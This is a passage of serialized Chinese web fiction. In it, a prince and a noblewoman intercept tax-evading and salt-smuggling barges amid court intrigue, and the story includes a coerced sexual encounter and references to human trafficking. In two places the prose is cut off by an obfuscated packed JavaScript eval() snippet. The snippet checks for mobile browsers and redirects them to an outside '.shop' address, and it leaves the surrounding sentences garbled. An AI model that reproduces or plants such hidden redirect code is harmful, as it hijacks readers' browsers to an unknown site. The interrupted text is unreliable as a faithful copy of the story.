章麓笑着附和,又装作焦急等待坐船去辽城的模样,隐晦的问了两句南水门的情况,话里话外都在打听有没有办法开船离开,得到的都是否定的回答。她没再过多试探,以防被察觉,便再次去了之前订好的厢房中。 李鹤霖用薄如蝉翼的飞刀剥虾,确保每一只都完美的肉壳脱离,然后整整齐齐的摆在空盘里,等待章麓的临幸。 他放下刀,用湿布巾擦了擦手,问道:“我们在这里已经呆了三个时辰,没有半点动静,他们真的会冒险出海?那日咱们去寺庙时抓住的探子,已经在宅子连夜审了两轮,他们知道的消息太少。” “不要急……”章麓的话刚起了个头,南水门的闸口忽然响起了轰隆隆的声音。 远远望去,巨大的水门缓慢的被打开,来自上游的水迅速的涌了下去,一艘艘巨大的漕船从水门而出,顺着河流一路朝西南方向而去。 所行之处,畅通无阻。 章麓:“终于来了。” 李鹤霖眯了眯眼,道:“当真如刘大人所言,根本没人阻拦检查收税。前两日都只是些小型的渔船和渡船,税务司的人还能靠近拦截,今日的是商船,税务司的人根本插不进手。” 视线下移,他将目光聚焦在了吃水深度上,不由一惊:“这么重,到底装了多少货物?” 章麓:“大梁的商税都是按重量计较的,除官商才可贩卖的盐铁外,其余的货物都是按照主要用途来划分,像衣食住行相关的但非民生必需品就比较高,例如金银器物、丝绸、石材、木材、茶叶等。但麻布、米粮因为是保民生的东西,所以税收最低。” 李鹤霖盯着过往的漕船许久,道:“茶、盐、酒属于官府把控,征收的是专税,这笔窟窿不可能不填,至少要让给税务司来查。其余的都在普通商税之内,每贯税约十文到四十文不等。若是一船铁器,按照济南的物价,一柄精铁剑是十两白银,也就是一万五千文,需缴商税十五文。这商船带五帆,若是以战船来类比,至少载重五百担。能装三十多万件精铁剑,也就是约五千两白银的税。” 章麓双手托腮看着李鹤霖认真计算的模样,打断道:“但商人不会卖这些不值钱又被官府垄断的精铁武器,而且每一件物品定会用木箱仔细封存,船上还要算上人员、粮食和配件的重量,三十多万件精铁剑至少要打个对折。”她伸出手正反面翻了翻,说到:“若全是金银器物的话,这税至少翻五倍。” 李鹤霖闻言一惊:“近二万多两?” 章麓微微点头:“这只是全按贵重物品来算,但商船一般不会单纯的只载一种货物,像大同商号的商船,一艘载重三百五十旦,过扬州港时,每船要交月五千到一万不等的税。刚刚过去了十七艘商船,若都按五千商税来算,这一趟济南郡至少入账八万五两白银的税收。若每日都是八万五千两,一个月就足足有二百五十五万两,一年就是三千万两。当然,扬州港都不能保证每日都会有商船过境,而且五成的商船运送的都是粮食,三百五十旦以内是免税的,余出的部分也是十贯收一文,只商税的百分之一不到。剩余的五成里一半都是盐铁茶一类官府管制的物品,交的是专税而非商税。” “那一年也有至少三百万两的税收。”李鹤霖语气沉重的说到:“不行,得让墨云骑将人都拦下来!” 他思索了半晌,道:“他们过了水门还要过入江口,想去洛阳或者更远地方就得入江,我们只要在他们入江之前拦下来就行,那里偏僻,不能给他们鼓动百姓跟我们对着干的机会,否则就麻烦了。” 李鹤霖揉了揉眉心,心中烦躁。 章麓安抚他:“放心,今日午夜,绝对全部拦下,一个都跑不了。” * 霍家的静顺斋内,霍氏三房霍封琏在书房内来回踱步,看到小厮跑进来,赶忙问道:“如何?” 小厮气喘吁吁的说到:“成了,一共七十七条商船,分成三处,分别从西、西北、南水门放出,六十条运得都是送往吐谷浑的粮食,剩余十七条里,十条运的是卖往长安和洛阳的新罗人参、琉璃、牛黄和麝香,还有高句丽的金银、布匹、硫磺,余下七条装的都是送去大食、吐蕃、都盘等六国交换的玉器。按您的吩咐,原本送去其他地区贩卖的货物一件都没上船,只要上船的都是外邦人的货或者贡品。” 霍封琏长舒一口,一合掌大笑到:“哈哈哈,太好了!到时候就算李鹤霖想要找麻烦,也挑不出我的错来!对了,我让你找人盯着他们,可有什么消息?” 小厮一脸为难的说到:“主子,不是奴才等不尽心,实在是淳王身边太难接近了,他那些影卫太神出鬼没,放出去三十四个人,就六个回来了,那六个人说,他们有一人近了新安郡主的身,还撞翻了一个姑娘给她的粮袋,但那粮袋什么都没有,全倒进了庙里的米缸。但撞了新安郡主的那人,退出人群之后就不见了,怎么找都没找到。” 霍封琏心中咯噔下,闭上眼再睁开,艰难道:“无妨,他们都是些不知内情的混混,就算被抓了也问不出个所以然来。”他在书房里来回走动着,心突突突直跳,缓了好一会儿也没平息下来:“不行,你去跟霍山说,让他将这次运出去的货列个单子给我,数量、种类、货主、单主,越详细越好!快去!” 子夜时分,七十七条漕船于入江口汇聚并临时停泊。 货主们下船松松筋骨,周围除了客栈和闸门上的望楼挂着灯笼,其余地方都黑漆漆的一片。 这时,一阵整齐划一的马蹄声响起,飞速包围了码头,上百只火把同时点燃,瞬间照亮了码头上的所有人。 他们有的惊慌,有的镇定,但大多数都带着浓浓的警惕打量着满覆黑甲的墨云骑。 “你们是什么人?”为首的男人蹙眉扫了他们一眼,高声 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被踹飞的男人站了起来,他脸色难看的瞪着萧雷,恶狠狠道:“行,我们跟你们走,但是你可要想清楚了,今日惹得到底是什么人!” 萧雷毫不在意的说到:“那请你也想清楚,不论淳王还是新安郡主,但凡有一人在登州的地界上出了事,别说李啸音,就是五皇子殿下都要吃不了兜着走,更何况各位。” 另一头,在闸门望楼目睹了全过程的莱青郡府兵飞快骑马去郡主府报信。 他前脚刚踏入大门,李谨焕后脚就骑马飞驰而来。 李谨焕挥开想要通报的门房,大跨步直奔李啸音书房,方至门口,就听见里面传来一个颤抖的声音:“霍家的船擅自出港,在入江口的闸门处被淳王的人拦了,现在全都押去了税务司!” 李谨焕被这消息震得头晕眼花,一把推开书房的门,怒道:“李啸音!我之前怎么说得?我可以不管你的那些破生意,但是你不能给我惹麻烦!我只想安安静静的呆在这里,等时间一到就回长安去。” 李啸音冷笑一声,道:“西洲侯既答应了合作,你我就是绑在一条船上,想安安静静的待在这儿,捂住耳朵,闭上眼睛,假装什么都看不到听不到,哪儿有这么好的事!不过,我自然不会坑你!霍家私放货船的事我确不知情,但我会去查!况且,我也并非没有准备,你急什么?” 她从桌面上拿出一个木盒,丢给李谨焕,道:“这是所有货主的专税凭证,全部按照贡品计的税,你拿去给李鹤霖,他自然什么错都挑不出来!” 李谨焕蹙眉:“你给我做什么?难不成你还想让我也牵连进去?” 李啸音绕过桌案走到李谨焕面前,神情就像一条瞄准目标的毒舌:“康王殿下,我拿出上百万两去供养西洲侯的军队,你作为他的亲侄子,将来要被他推上龙椅的人,总得给我吃点定心丸吧?” 李谨焕握着盒子的手颤了一下,他死死盯着李啸音,咬牙切齿道:“真不明白你们为什么全都想要那个位置,既想要为何不自己去挣,偏偏拿我做椽子。” “嘁。”李啸音不屑的嘲笑道:“别在这里装清高,你就是个懦弱之徒,拿不想要不喜欢当借口,掩饰你怂的本质。不过我无所谓,西洲侯想要那至高无上的位置,而我只想做青、莱、登乃至整个淮南说一不二的王,互惠互利的事,总要给点诚意,这生意才好继续做下去,你说是不是啊?康王殿下。” 110. 第 110 章 济南税务司的门庭从未如此热闹过,墨云骑分列前院两侧,将所有船主、货主都围在正中。萧雷拎着税务司正使和其余官员去码头点货,李鹤霖坐在院子里把玩着身上的玉佩,而章麓则坐在屋内的屏风后,用茶盖撇着浮沫,神情散漫的品着青州特有的金丝茶。 船主和货主都脸色难看的站在院子中央,除了货主面色惊惧,其余的船主各个有恃无恐,老神在在。 李鹤霖也不欲跟他们废话,只坐在那里有一搭没一搭的甩着玉佩下的穗子。 一群人就这样大眼瞪小眼的沉默了一个时辰,终于等到了第一个踏入税务司大门的人。 “哎哟哟,淳王殿下这声势可真的足,可窥见当年在西北陷入西戎大王子圈套,后又侥幸逃脱的爽利。”来人穿着苏绣长袍,腰间玉带可窥幽光,身后跟着一个趾高气扬的中年男人。 李鹤霖抬眸瞧了他一眼,道:“你是几品官?” “康王殿下属官而已,无品无级。” “那你可有尚方宝剑、丹书铁券、陛下金令?” “自是没有。” 李鹤霖冷哼一声,喝道:“既无品级又无特赦,见了本王为何不跪?” 那人一愣,还未有反应,便被身旁的墨云骑一脚踹在了膝窝处,噗通一下狠狠跪在了石板地上,疼得他呲牙咧嘴。正欲起身反抗时,就被楼松一脚踩住了后背,死死压在了地上。 “见郡王不跪,胆子挺肥啊兄弟。”说着,楼松还用力往下踩了踩,直把对方疼得不停哀嚎求救。 几名船主见状,脸色更是难看了几分,有几位脸上依然带着些许游移。 李鹤霖依旧稳坐在红木高背椅上,平淡的让楼松放开,然后坦然自若的询问道:“你哪儿来的?所为何事?” “我乃康王殿下的传讯官,特来移交霍家所交的税务。”他咬着牙想要起身,将怀中的盒子露出来。 楼松一把拿过盒子递给李鹤霖,后者瞥了一眼,再看向那名刚直起腰的属官时,不怒自威的问道:“谁让你起来的?” 他抬头看向端坐的李鹤霖,虽跪着,却带着居高临下的语气:“淳王殿下,在您之前可没人敢如此对我!您踩我就等于踩康王殿下的脸!” “哦,那又如何?”李鹤霖清冷的瞥了他一眼:“如今本王代天子巡狩,就算今日来得是他,也得跪下。” 属官一噎,竟无话可说。 楼松最不耐烦这种仗势欺人的货,抬脚就踹了他一下,喝道:“额头贴地!你家殿下没教你怎么行叩拜礼啊?” 属官脸都气绿了,但碍于院中都是淳王的人,只能人气吞声。 这让院中原本有恃无恐的船主们,都不由得后退了半步。 院中再次回归寂静,李鹤霖看着盒子中的一张张税单,还有银票,轻轻一笑,道:“消息挺灵通啊,这□□上的章都还是热乎的。” 他伸出拇指轻轻一模,红色的油印就晕开了一道。 □□用得都是油印纸,有一定的防水性还能长久保存,但不好地方就是不容易干,一般要吹很久油印才能完全渗透进纸张里。 李鹤霖借着火光看着染上一模红色的拇指,似笑非笑的扫了一眼院中央的一众人。 船主和货主被看得心里直打鼓,不约而同的再次后退了一步。 不过今日的目的已经达到,李鹤霖倒也没有为难他们的意思,大发慈悲的挥了挥手道:“本王无意与各位为难,但靖国公和安国公伏诛,济河漕运的事已经放在了明面上,朝廷派了那么多的钦差最后死的死疯的疯,若是再不采用强音态度,大晋律法之威严,就会被践踏的一塌糊涂。” 他攥手成拳,撑着自己的右腮:“有些事还查还是要查,总要给朝廷和天下百姓一个交代。不过,本王也知道各位于乱世之中谋生极为不易,所以并不在乎你们到底运了些什么乱七八糟的东西,但朝廷缺银,赋税是一点儿都不能少的。否则,真惹恼了父皇,你们背后的那位怕是也挡不住朝廷的大军,到时候倒霉的还得是各位不是?不过,既然各位今日已经缴了税,那本王便没有再拦得道理。只是提醒各位,下次交税的时候,要交给税务司,而不是杨家、霍家。” 商人们就此离开,一个个内心惶惶,倒是康王的那么传令官,看向淳王的目光有些阴狠。 楼松提醒自家殿下小心,李鹤霖倒是不甚在意:“走狗罢了,他若敢做什么,李谨焕第一个饶不了他。今日我算是看出来了,李谨焕应是有什么把柄落在了李啸音的手上,否则以他的性子,断不会在此时替人出头,还找了这么一个蠢货过来。” 章麓从前衙的屏风后走了出来,道:“第一步算是走稳了,接下来就看殿下的手段了。” 李鹤霖命人撤了椅子,让楼松领着墨云骑回去休息:“周其余已经盘好了宅院,日后你们便不用宿在城外的林子里了。” “多谢王爷!” 另一头,李鹤霖招来章麓身旁的晴野,低声细语的吩咐道:“明日劳烦晴野姑娘伴做男装,领着几名墨云骑,去街上找些地痞流氓,最好是在一方有所威名,想要扩张地盘但又无从着手的恶霸,然后……” 他细细说着计划,晴野时不时点头。 一声啸叫传来,一旁的章麓抬头望去,只见一只海东青盘旋于上空,直到章麓抬手方才落下。 它的脚踝处绑着一支小竹筒,章麓将竹筒解开,放飞海东青,拿出里面的纸条。 只见上面写着一行小字:着陛下亲令,持军令至登,已达城门外五里,隐蔽静待。 章麓惊喜的声音传入李鹤霖的耳朵:“世子哥哥持陛下亲令,率领齐云卫入兖州了!不日便可抵达莱青。” * 霍家主宅。 一个不起眼的小厮飞快的跑至湖边的书房,在查验账目的霍封黔耳边嘀咕了几句,对方脸色登时变了:“霍封琏这个贪心不足的蠢货!” 小厮:“海、沂、青、莱四州都发来问函,询问咱们的章程,您看……” “他们问我有什么用!去问杨奉贤和李啸音啊!”霍封黔眉头紧锁,表情严肃:“郓州和衮州有动静吗?” 小厮摇头:“还没有。” “这几年真是给老三喂得太饱了,撑得他连胆子都大得能登天了!”霍封黔忍着连着几晚熬夜造成的头痛,左手将腕上的佛珠褪至掌心快速拨弄着:“去,给杨府下拜帖,我现在就要见杨奉贤!” “我已经来了。”杨奉贤推开书房的门,瞥了一眼弯腰立于桌前的小厮。后者被他凌厉的眼神吓得缩了缩脖子,飞快的退出书房,关好门窗,还将外院值夜的人都赶走。 杨奉贤几步来到桌案旁,伸手覆上霍封黔的脸颊。 在对方贴近自己的瞬间,霍封黔忍不住躲了一下,但没有用,他一个文弱书生哪里躲得过? 感受到手掌心带来的炙热,以及摩挲在自己嘴唇上的粗粝,令他镇定的神色略带惶惶。 “放心,今日不碰你。”杨奉贤语气中带着些疲惫,他不顾霍封黔的反抗,强硬的将人抱起,安坐在自己的腿上,手上不老实的摩挲着地方的大腿、腰身、后背直至脖颈。 “我们只不过是李啸音手里的狗,何必表现得自己很聪明?他们这些大人物既然要斗,就让他们去斗,谁斗赢了就站谁的边,左右也没损失。” 霍封黔忍不住按住杨奉贤越发放肆的手掌,道:“淳王是来查案的,不会轻易放过我们。” “呵,那就让他去查,看看是河南道的三千官员厉害,还是他淳王厉害。”杨奉贤轻轻吻上霍封黔的后颈,激得对方直接跳出了他的怀抱,惊疑不定的看着他。 杨奉贤姿态肆意的解开腰带,任由衣衫散乱在身体左右,一脚踩在桌案上,一脚悬于扶手侧,闲适的晃了晃。 “淳王手上有兵,真要惹怒了他,随手杀了我们都不会有人去弹劾,但那批官员就不一样了。即便有陛下金令又如何?他能杀得尽所有贪官?今日落罪一个,明日就有别人顶上,连陛下都要避主子三分锋芒,他一个没有职权单有宠爱的皇子,又能奈何?”杨奉贤无所谓的笑了笑:“李鹤霖所谓的心机与算计,在主子面前,也不过是个笑话罢了。” 霍封黔虽同意杨奉贤的说法,却不同意他的章程,蹙眉道:“老三虽然贪,但他手中握着济河至泗水的全部漕船,海、沂、衮、郓、齐五州都靠着这路水运走盐,不能不保。” 杨奉贤抬眼看着他,一双桃花眼充满了暧昧情愫:“放心,只要你让我开心了,你让我保谁都行。” 霍封黔呼吸急促,面色隐隐泛白,他握着腰带的手犹豫了半晌,最终还是咬牙解开了。 一夜的杏花春雨,待杨奉贤心满意足时,霍封黔已经瘫在床上动弹不得。 杨奉贤轻轻拨开他汗湿的额发,问道:“你是不是有什么话要跟我说?” 霍封黔僵硬的瞳孔颤动了一下,声音嘶哑如同七十岁的老翁:“淳王没有查船上运得什么。” “所以?” “吐谷浑那边等不及了,我妹妹……我……”说着,一滴清泪从他的眼角滑落,长长的睫毛颤动着,配着汗湿的白皙身躯,犹如出水芙蓉一般。 他没有再说下去,只出神的凝视着前方,宛若失去灵魂的傀儡,眼泪还在流,无声的、肆无忌惮的,撞击着身旁看客的心灵。 “哭什么?”杨奉贤蹙眉,“你妹妹死不了,这会儿指不定如何逍遥快活呢,毕竟是摄政王妃啊,多风光的位置。” “风光?你怎么说的出口!我妹妹是因为你才落得如今这幅模样。”霍封黔突然道,“杨奉贤,你以前答应过我什么还记得吗?你做到了几个?用前甜言蜜语,用后弃若敝履,我以前怎么就眼瞎,偏偏看上了你?” 杨奉贤的眉眼中露出几分愤怒,但他很好的克制住了,没有让自己失态:“你想要什么,只管说就是,不用在这里给我卖惨。” 霍封黔的眸光落在杨奉贤的身上,他这时才发现,对方的双眸无神得可怕,再也不像以前那般灿若繁星。 “我妹妹被你送上了吐谷浑摄政王的床榻,如今也不知道被折磨成什么样子,若不是为了她,你以为我会受你威胁吗?”霍封黔的声音偷着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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能免去过路港口的入港税,对于商人来说是相当大的好处,尤其是航线远,想要直入洛阳与长安的商人,就算其他州府不认淳王的单据,但只要莱、青、齐三州认下,一次就能省下几万两白银,那交个商税又如何?大不了到了洛阳就走陆路,总归能省下一大笔开销。 于是,更多的货商愿意缴纳商税,水门的场务失了收过路银机会,有心使绊子。但面对日日虎视眈眈守在口岸的墨云骑,也只能在心里想想,看着白花花的银子飞出了水门,离自己远去。 但也有大商行不想交这笔商税,他们出货量大,货物昂贵,船只也大,入港税相比商税不过是九牛一毛。但货耽搁在港口一日,单府衙的保管费一日也要以千来计算。日日这般耗下去,损失的钱财也不计其数。 有人试图再次夜间跑船,但是漕帮那群人也不知道是哪根筋搭错了,竟然去给税务司通风报信!而淳王竟在拦截船只收税后,就拍拍屁股走人了,根本不管那些漕帮的人!任由他们狠狠坑了商人一笔钱。 莱州刺史为此登了郡主府的门,最后也只得个联名弹劾的法子。 可淮南道的州府事不关己高高挂起,衮州有苏杭扬的入港税撑着根本不着急,只青、莱、登、海、沂五州联名上奏,但折子入了京就犹如石沉大海一般,连个涟漪都没激起。 如此又过了一个月,直至九月,新罗、百济的水果纷纷入港,商人们终于坐不住了! 更加坐不住的,还有莱青节度使苏用,章启带着高丽和鲜卑的降书抵达了长安,但是陆家兄弟却离开辽西,举兵前往与登州、青州隔海相望的卑沙城了。 泰安帝对此一点表示都没有,默认了他的行为。 虞庆军在辽西有一只强悍的水军,分属陆家兄弟的陆家军。 这支水军在十年前,曾一路从卑沙城行至熊津城,把当时的新罗皇帝吓得屁滚尿流。正因如此,新罗才在中原改朝换代的时候,对北翟诸国和高丽的橄榄枝视而不见听而不闻。 如今章麓与李鹤霖定亲,三书六礼已然过半,章家和李鹤霖就是绑在一条绳上的蚂蚱。泰安帝此时默许陆氏兄弟领兵进入卑沙城,就等同于在雨陶郡主和苏用头上悬了一把刀! 郡主府上,李谨焕听到这则消息长长一叹:“父皇早已下了杀心,他只是想要找个名正言顺的方法,好堵住悠悠众口。” “呵呵,皇叔啊皇叔,当年你养兵的军资可都是侄女给的,如今却要卸磨杀驴!你当真是好狠的心啊。”李啸音坐在椅子上,看着手中的密信,嗤嗤的笑了起来,“可我不想死呢。” 李谨焕蹙眉:“你又想做什么?” 李啸音将信折起:“做一个被逼到绝路的人该做的。你说,如果李鹤霖亲手杀了青、莱、登三州的数百官员,皇叔还会保他吗?” 李谨焕腾的一下站起来:“你疯了!他不会这么做的!” “谁知道呢?”李啸音轻轻笑了起来,“康王殿下,如果李鹤霖真这么做了,你可就是板上钉钉的太子了。” 李啸音招呼眠央进来:“去把杨奉贤叫来,我有事交代他。” 111. 第 111 章 青州商会。 做新罗与洛阳、长安来往生意的裴老板来回不停的走动着,他穿着薄衫,屋里还豪奢的放着一坛坛的冰,但额头上的汗水还是滚珠般的一颗颗落下,时不时就要拿袖子擦擦。 “咱们总要想想办法吧!我那些水果可经不起耽搁!这日日的保管费,还有冰费,都快比商税要高了!再这样下去,还不如跟淳王低头,就缴了商税方便!” 另一位商户老神在在的饮着茶:“急什么,缴了商税还有入港税,进了洛阳到了户部手上还要交胜钱和入关税,这层层拨盘下来你还剩下几分利?盈得利还没有交的税多,你就甘心这样认输?” “不认输又能如何?现在比前朝税收少了太多,我该知足的!”裴老板叹道。 “知足?若是知足了,只会受到更多的剥削。诸位与杨家合作多年,难道还不了解杨家的本事?如今淳王手持陛下金令,郡主也要避其锋芒,但淮南那位却没有这个顾忌。” “你每次都这么说!却从未见淮南那位出过手!”另一位商人冷哼一声,不屑道。 其余商人纷纷附和,不少人都动了和裴老板一样的心思,大不了就不去洛阳,淳王肃清了平原郡,直接在平原郡下货,让那里的商人再卖去中原。层层转卖,就算是洛阳的物价贵比黄金,也与他们无干。 “各位不用着急,淮南那位已经出手。”杨奉贤掀开门帘走了进来:“渡口、水门一路畅通无阻,各位子时分散从四道水门出发。不用管淳王的那些墨云骑,自有人去收拾他们。” 几位货主面露惊讶,裴老板疑窦丛生,警惕的问道:“缘何还出动了府兵?” “因为淮南王有一批重要的货,要随着各位一同前往洛阳。”杨奉贤扫视着屋内神色各异的商户:“机会只此一次,各位老板可要想清楚了。” * 子夜时分,四道水门再次点燃了领航篝火。 数以百计的商船顺水而下,一路朝入江口而去。 然而,头船还未行出一里,一道火箭划破黑暗而来,直接点燃了船帆。 “快!快灭火!” 站在望楼上的杨奉贤眉头一皱:“怎么回事?” 有小兵快速跑上来,气喘吁吁的喊到:“有……有人放火!” 还没带杨奉贤理解其中含义,一枚火箭以惊人之速朝他而来,叮得一声深深扎入了他面前的砖墙上。 杨奉贤顺着箭来的方向看去,只见一身火红骑装的章麓手持一张大弓,双臂张开拉满弓弦,又一柄火箭以破空之势朝他而来。 杨奉贤下意识蹲下身躲避,那柄箭劈开了上一柄的箭尾、箭身,深深钉入了金属尖头之中,顶着那枚扎在墙上的箭头又深入了半寸。 他惊恐的瞪大了双眼,在后面的船不明所以,不停催促的叫喊声中,咆哮着:“退!快退!” 然而,已经来不及了。 火把的光芒瞬间点亮了整座闸门前后,灭火的船夫这才发觉船前竟横跨河道拦着两道横锁! 两道横锁上下平行,十几个身着软布甲的士兵手持弓箭,蹲立在位于下方的横锁上,拉弓的手臂环在上方的绳索上稳固身形。每个人都拉满弓弦,一半人的箭尖捆着拇指大小的油包,一半人的箭尖点燃了火焰,纷纷对准了船舱! 船主们丝毫不会怀疑弓箭的破坏力,毕竟淳王在战场的威名传播甚远。漕船虽附有玄铁,但大部分还是木质的,根本承受不起火焰的燃烧! 不少船只纷纷想要掉头退走,可是上百艘船只积压在闸门口,那里有空间给他们掉头离开? 萧雷带着一支小队从水中冒出头,嘴里叼着匕首,将手中的钩锁用力一甩,直接勾住船舷,开始奋力往上爬。 弓箭手在外配合,凡是想要靠近隔断钩锁的船员,纷纷被射到脚下的箭矢拦住去路。 萧雷翻身上船,迅速控制住一众船员,咧开嘴露出一个可怖的笑容:“六儿!让兄弟们开箱验货!” “好嘞!” 李鹤霖步履沉稳的走上望楼,看着强装镇定的杨奉贤:“早在平原郡时就听过杨家主的威名,如今得幸一见,却觉得……有些名不副实啊。” 杨奉贤握紧拳头,冷哼一声道:“你就算斗倒了我,也无济于事!杨某不过区区商人,微不足道,断不是王爷的对手,但是,今日杨某敢在老虎头上拔毛,就是因为背靠大树好乘凉。淳王,您难道就从未想过为什么卫王府涉入猎宫叛乱,雨陶郡主却能保留封号全身而退吗?你难道就从未好奇过为什么前朝都灭亡了,淮南王却还能保留王位在淮南道享福?” 李鹤霖眯起眼睛,没有说话。 “淳王殿下,杨某知道你心怀天下,想为苦主鸣不平,想拨乱反正造太平盛世。但你就算能灭了平原郡的恶,难道还能灭了全大晋的恶吗?只要漕运在,只要巧立名目的税收不彻底拔除,就总会有人坐在这个位置上去剥削!今日是我杨某,明日就会有朱某、赵某。你难道还能永远的守在济河不成?” 李鹤霖捻了捻手指,火光映照着他肃穆的脸庞,他的语气宛若脚下和宽泛的河水,看似平静,内里却充满漩涡:“本王或许杀不尽天下的恶,但只要看到了,就要杀。臭虫这种东西,如果不碾死一些,只会越来越多,每天碾死一点,总能控制一下他们的数量。” 杨奉贤被他狠厉的语气惊得后退了几步:“你当真不怕河南道和淮南道的官吏都联合起来反抗你吗?” “原来有这么多人都掺和进来了吗?”李鹤霖看着杨奉贤就像在看一个死人:“倒是比我想象的要多啊。” 李鹤霖偏头看向自己身侧的卢康,问:“你说,这么多官员都搅进这摊污水里,本王该怎么办?” “杀!” 李鹤霖微微一笑,看向杨奉贤:“听到了?” 杨奉贤忍不住出声:“两道至少有三千官吏参与进来,又有郡主府和淮南王撑腰,你能杀得了所有人?连泰安帝都不敢动淮南王,你怎么敢!” 李鹤霖眼神一厉:“前朝的怀骥王也很厉害,可还不是死在我的刀下,那时候我也不过十五岁,如今又怎么会怕一个卖女求荣的淮南王!” “王爷!”萧雷浑身湿哒哒的跑上望楼:“有船贩运官铁和官盐!” 岸上数百火把照亮了排在船队尾端,试图逃跑的四纲漕船。 章麓扒开麻袋上,被刀捅开的缝隙,白花花的盐瞬间倾涌而出。 她捏了点尝了尝,对李鹤霖道:“是精海盐,这种盐都是贡品。如今还没到纳贡的月份,不应该出现在这里。” 船舱内,麻袋被接二连三的捅开,里面无一例外都是这种贡盐。 船主和货主被压到两人面前,他们从未见过这么多官兵查船,被吓得直抖。 “我们什么都不知道!是霍……霍家主让人把这些麻袋搬上船,他说是粮食!我们根本不知道是私盐啊!二位……二位贵人!求求求!求求求别杀我!我真的不知道,真的什么都不知道啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305141|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “后面几纲船运得什么?”李鹤霖的声音发寒,宛若毒舌吐信一般。 “百炼钢。”章麓道:“这种炼钢技术,只有东郡榷场有,至于矿石,八成就是从东郡的那座铁矿来的。” * 自李啸音收到淮南的信,发表出那番癫狂的言论后,就直接将李谨焕囚禁在了郡主府。 此时,李谨焕正坐在正厅的太师椅上,盯着茶碗里浮动的茶叶,许久许久…… 霍封黔跪在地上,强力压抑心中的颤抖:“殿下,郡主!那里面有夹带私盐的漕船!若是被淳王发现……” 哗啦——精致的茶碗摔碎在霍封黔面前,迸溅的碎片划破霍封黔的脸颊,留下鲜红的血。 “你自诩比霍封琏强,却也没比他聪明到哪里去!”李啸音阴沉着脸说道。 李谨焕轻啧一声,道:“李啸音,看来三皇兄还是技高一筹。” 李啸音瞪了他一眼:“你得意个什么劲,别忘了,这条路西洲侯也参与进来了,你以为自己能落得什么好?” 李谨焕抿了抿唇,不发一言。 李啸音瞥了一眼霍封黔:“如今还能有什么法子,先交商税。” “不行!如此一来,养兵的钱就会断流。沧、棣、魏三州现在已经失去了控制,如果不给郓、衮、沂、海四州好处,人头生意也会失了来源,到时候吐谷浑那边肯定不会轻易放过!”霍封黔四肢并用的爬到李啸音脚边,涕泗横流的哀求道:“求求主子救救我妹妹吧,您是看着她长大的呀,您不能就这样不顾她的性命!求求您了!救救她吧!” 李啸音撑着桌子,头痛欲裂:“那你说怎么办?让府兵直接跟墨云骑打起来吗?李鹤霖只带来了区区一千人,就将五千登州府兵全部悄无声息的按下,还截了全部商船,你难道还想着要跟他死磕吗?” 霍封黔结巴了一下,闭口不再出声。 直接西洲侯的人走了进来,开门见山的说到:“侯爷说了,如今只能弃车保帅,断尾求生。若是您无法狠下心,这合作就到此为止。” 李谨焕刚想说话,便听见外头传来一阵急促的脚步声,是杨奉贤身边的一名亲信。少年以飞快的速度翻身出屋,消失无踪。 “郡主!”亲信的话还没说完。一阵兵器碰撞声就由远及近,伴随着鱼贯而入的官兵,直切入郡主府的正厅。 李鹤霖一挥手:“官府拿人,还望堂姐和五弟别妄动。” 他左右看了看,问:“霍封黔在哪儿?” 李啸音没说话,李谨焕攥紧了座椅扶手,同样一言不发。 霍封黔看到外面的官兵还有面前人高马大、目光锐利的李鹤霖,颓然的开口道:“是我。” 李鹤霖垂眸看了他一眼,令人抓走他。 抓到人,李鹤霖转身就走,既没有叙旧的打算,也不想出言嘲讽。李谨焕想走什么路是他的事,过多的劝说无意义,更何况,他们二人之间也没什么兄弟情分,犯不着多此一举。 待李鹤霖离开,李啸音凉凉的说到:“瞧见了吗?这才是龙子皇孙,你比之真的差远了!如今霍杨两家已经废了,李鹤霖查出真相只是时间问题。” “这就是逼疯他的法子?我看他没疯,西洲侯先被你拖累死,我也跟着没好果子吃。” “怎么会?只要你肯把莱青的兵权给我,让苏用跟登州刺史去找一找这两人的麻烦。我保证,最好的结果他有去无回,最差的结果也是他被长安来的囚车押回去。” 112. 第 112 章 杨奉贤骨头比想象中硬的多,身上都没一块好肉了,还死咬着不肯开口。 不过,有霍封黔这个突破口,也不算是全然没有收获。 之前在郡主府痛哭流涕的霍封黔,此刻正坐在离监牢不远的宅院里。在瑟瑟秋日里身披厚重的外袍,膝盖上还盖着薄毯,神情淡漠,与在郡主府时相比,完全像是变了个人。 他饮了一口手中的热茶,缓缓道:“按照之前我与黎老板的约定,你们想问什么,我定然知无不言言无不尽。” 李鹤霖屈指点了点桌面:“那就从最开始说起吧。” “最开始啊……”霍封黔的眸光透过茶碗上的雾气,变得不再聚焦,仿若又回到了那不堪回首的从前:“杨家的人头生意,想必殿下在平原郡的时候,已经完全了解,也知道杨家是跟什么人搭上的线,但那些只是表面。杨奉贤最早遇到的人,恰恰就是祁中岳。” 最早是从海州,那里临海,却不适合建造码头,走不起船运。又多为山峦少有平地,粮食产量也不高。大多数百姓都过不下去,只能卖儿卖女,换取口粮。 一度甚至实行一妻多夫,一家兄弟几个娶一个妻子,谁都可以睡,目的就是让她生孩子,一直生,直到死。生下来的孩子养两年,头一个儿子或者少病少灾的留下,其余的全部卖掉换钱。 杨家从躲避战乱时,路过海州发现了这一点,才起了做人头买卖的心思。但真正开始,还是在投入了淮南王门下之后的事,而将他引荐给淮南王的人,正是祁中岳。 之后在淮南王的支持下,生意开始扩张,整个淮南道、河南道都进入了他的生意网,在穷乡僻壤里买人,或者坑人成为死奴,然后再卖去河南道东、江南、淮南一代的矿场、码头、青楼。 一年单这些人头生意,就能获利千万两白银,比国库都富有。 